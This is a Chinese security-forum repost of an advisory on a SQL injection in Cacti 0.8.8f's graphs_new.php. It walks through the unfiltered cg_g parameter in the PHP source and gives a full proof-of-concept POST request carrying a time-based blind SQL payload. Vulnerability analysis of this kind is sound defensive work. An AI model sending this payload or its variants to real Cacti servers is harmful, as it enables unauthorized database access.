搜索
查看: 887|回复: 0

Cacti 0.8.8f SQL注入漏洞

[复制链接]

26

主题

29

帖子

147

积分

我是新手

Rank: 1

积分
147
发表于 2016-7-15 16:19:50 | 显示全部楼层 |阅读模式
From:https://packetstormsecurity.com/files/135191/cacti088fgraphs-sql.txt


登录后,admin权限才能触发,比较鸡肋
漏洞分析

graphs_new.php
  1. function form_save() {
  2.     if (isset($_POST["save_component_graph"])) {
  3.         /* summarize the 'create graph from host template/snmp index' stuff into an array */
  4.         while (list($var, $val) = each($_POST)) {
  5.             if (preg_match('/^cg_(\d+)$/', $var, $matches)) {
  6.                 $selected_graphs["cg"]{$matches[1]}{$matches[1]} = true;

  7.             //cg_g is not filtered

  8.             }elseif (preg_match('/^cg_g$/', $var)) {
  9.                 if ($_POST["cg_g"] > 0) {
  10.                     $selected_graphs["cg"]{$_POST["cg_g"]}{$_POST["cg_g"]} = true;  //给数组赋值

  11.                 }
  12.             }elseif (preg_match('/^sg_(\d+)_([a-f0-9]{32})$/', $var, $matches)) {
  13.                 $selected_graphs["sg"]{$matches[1]}{$_POST{"sgg_" . $matches[1]}}{$matches[2]} = true;
  14.             }
  15.         }

  16.         if (isset($selected_graphs)) {
  17.             host_new_graphs($_POST["host_id"], $_POST["host_template_id"], $selected_graphs);//调用漏洞函数
  18.             exit;
  19.         }

  20.         header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);
  21.     }

  22.     if (isset($_POST["save_component_new_graphs"])) {
  23.         host_new_graphs_save();

  24.         header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);
  25.     }
  26. }


  27. function host_new_graphs($host_id, $host_template_id, $selected_graphs_array) {
  28.     /* we use object buffering on this page to allow redirection to another page if no
  29.     fields are actually drawn */
  30.     ob_start();

  31.     include_once("./include/top_header.php");

  32.     print "<form method='post' action='graphs_new.php'>\n";

  33.     $snmp_query_id = 0;
  34.     $num_output_fields = array();

  35.     while (list($form_type, $form_array) = each($selected_graphs_array)) {//便利数组
  36.         while (list($form_id1, $form_array2) = each($form_array)) {//继续便利数组,将数组中的key提取出来作为form_id1,form_id2
  37.             if ($form_type == "cg") {
  38.                 $graph_template_id = $form_id1; //赋值
  39.                 //sql injection in graph_template_id
  40.                 html_start_box("<strong>Create Graph from '" . db_fetch_cell("select name from graph_templates where id=$graph_template_id") . "'", "100%", "", "3", "center", "");//带入查询
  41.             }elseif ($form_type == "sg") {
  42.                 while (list($form_id2, $form_array3) = each($form_array2)) {
  43.                     /* ================= input validation ================= */
  44.                     input_validate_input_number($snmp_query_id);
  45.                     /* ==================================================== */

  46.                     $snmp_query_id = $form_id1;
  47.                     $snmp_query_graph_id = $form_id2;
复制代码
POC

  1. POST /cacti/graphs_new.php HTTP/1.1
  2. Host: 192.168.217.133
  3. Content-Type: application/x-www-form-urlencoded
  4. Cookie: 1c4af7f2e90e3a789e67a8e3acd2372f=8a83va6ijomgf7qdgfpcl8l1p2; Cacti=j8chtc1ppq4n7viqkbah6c4tv2
  5. Content-Length: 189

  6. __csrf_magic=sid%3Aed226a87fdcc8e055d1c27b620e564d629d95e40%2C1450241184&cg_g=033926697+xor+(select(0)from(select sleep(5))v)&save_component_graph=1&host_id=2&host_template_id=0&action=save
复制代码


您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表